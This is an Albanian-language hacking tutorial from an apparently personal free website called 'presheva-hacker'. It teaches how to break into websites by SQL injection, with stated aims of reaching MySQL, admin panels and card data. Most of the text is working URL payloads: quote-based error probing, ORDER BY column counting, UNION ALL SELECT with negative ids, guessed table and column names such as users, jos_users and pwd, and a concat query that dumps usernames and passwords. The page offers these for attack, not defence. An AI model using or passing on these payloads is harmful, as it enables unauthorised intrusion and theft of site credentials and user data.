presheva-hacker
  Si me hackerat nje faqe me sql-injection
 
Sė Pari cka ėshtė SQL-injetion? -SQL-injetion ėshtė pra njė ndėr metodat mė tė perdorura ditėt e sodit pėr tė marr akses nė ndonjė webfaqe. Kjo i jep leje sulmuesit qė tė sulmon pėrmes URL-sė, qė tė merr informata tė ndryshme, si aksese nė MYSQL, faqen e administrimit(CPanel), CC, dhe info tjera tė ndryshme.! 1). Provo se a ėshtė faqja vulnerability !! Tė themi se kemi dicka tė till: http://www.site.com/vesti.php?id=1 Tashti qė tė testojm se a ėshtė vulnerability, apo thjesht a ka buggs shkojm dhe ja shtojm ' (pra presjen lart). dhe kjo do tė duket kėshtu: http://www.site.com/vesti.php?id=1' Pra pas kėsaj nėse na jepė ndonjė error si psh. "You have an error in your SQL syntax;" ose "Warning: mysql_result() [function.mysql-result]:" Atėhere ne menjėher me kėtė nėnkuptojmė se faqja ėshtė vulnerability pėr SQL-injetion, pra ka buggs! 2). Si tė gjejmė se sa numra tė kolumnave ka SQL-ja nė ndonji x faqe! (Numbers of Columns). Pėr tė gjetur sa sa Columna kemi pėrdorim: ORDER BY Pra "order by" pa presje do tė na ndihmon tė gjejmė se sa kolumna kemi shkojm me shembull: http://www.site.com/vesti.php?id=1 order by 1-- <-- Hapet faqja normal pra nuk na jep Error http://www.site.com/vesti.php?id=1 order by 2-- <-- Hapet faqja normal pra nuk na jep Error http://www.site.com/vesti.php?id=1 order by 3-- <-- Hapet faqja normal pra nuk na jep Error http://www.site.com/vesti.php?id=1 order by 4-- <-- Hapet faqja normal pra nuk na jep Error http://www.site.com/vesti.php?id=1 order by 5-- <-- Error Pra kėtu kemi error! -Me kėtė nėnkuptojm se tek kjo faqe kemi 4 Kolumna pra e merrni numrin e fundit e cila nuk jep error! 3). Provo pėr UNION funksionin! Pra tashti do tė provojmė qė tė nxjerim numrat e kolumnave dhe info-t tjera nė dritare tė pc-sė, pėrmes "Union all select". Pra kemi: http://www.site.com/vesti.php?id=1 union all select 1,2,3,4-- Nėse tek dritarja na shfaqen ndonjeri prej numrave prej 1-4 atėherė mirė ėshtė dhe funksionon krejt nė rregull por nė qoft se jo atėhere provoni tė ja shtoni nji - (minus) perpara tek "1" i parė pra numrat munden tė ndryshojnė mundet tė jetė 50,71,82 etj shembull: ė http://www.site.com/vesti.php?id=-50 union all select 1,2,3,4-- ose http://www.site.com/vesti.php?id=-71 union all select 1,2,3,4-- ose http://www.site.com/vesti.php?id=-82 union all select 1,2,3,4-- Tashti duhet tė na shfaqet ndonjėri prej 4 numrave pra prej 1-4 nėse shfaqet ndonjeri prej kėtyre at here gjithcka ėshtė nė rregull dhe vazhdojmė !!? 4). Si tė gjejm Table_name dhe Column_name -Pra kjo ėshtė njė pjesė e rėndėsishme e SQl-sė. Per te gjetur table_name provojmė: user/s, admin/s, member/s, login/s etj.. Kto janė nė shumicen e faqeve table_name!! ka edhe tjera table_name si psh pėr joomla: jos_users, per mambo: mos_users etj. Te themi qė table_name ėshtė "users" dhe mė pas shkojmė kėshtu: http://www.site.com/vesti.php?id=-71 union all select 1,2,3,4 from users-- Pėr tė gjetur Column_name provojmė: username, user_name, login, user_n etj.. Pėr password column_name provojmė: password, pass, pwd, passwd etj. Tė themi qė column_name janė username dhe pwd !! shkojmė tė shohim si do tė duket me shembull: Final: http://www.site.com/vesti.php?id=-71 union all select 1,username,3,pwd from users-- Ose nėse doni ti bashkoni column_names me njė numėr atėhere veprojmė me "concat(column_name,char(58),column_name)" shembull: http://www.site.com/vesti.php?id=-71 union all select 1,2,3,concat(username,char(58),pwd) from users-- Pra numrat tė cilėt i shohim nė dritare i zėvendėsojmė me column_name si nė rastin ton username dhe pwd. Dhe mė nė fund dalin username dhe passwordi shembull:!!! username: boom3rang password: SQL-injetion Mė kėtė mbarron mėsimi i pare pėr SQL-injetion nė gjuhėn shqipe!!
 
  Today, there have been 14 visitors (19 hits) on this page!  
 
This website was created for free with Own-Free-Website.com. Would you also like to have your own website?
Sign up for free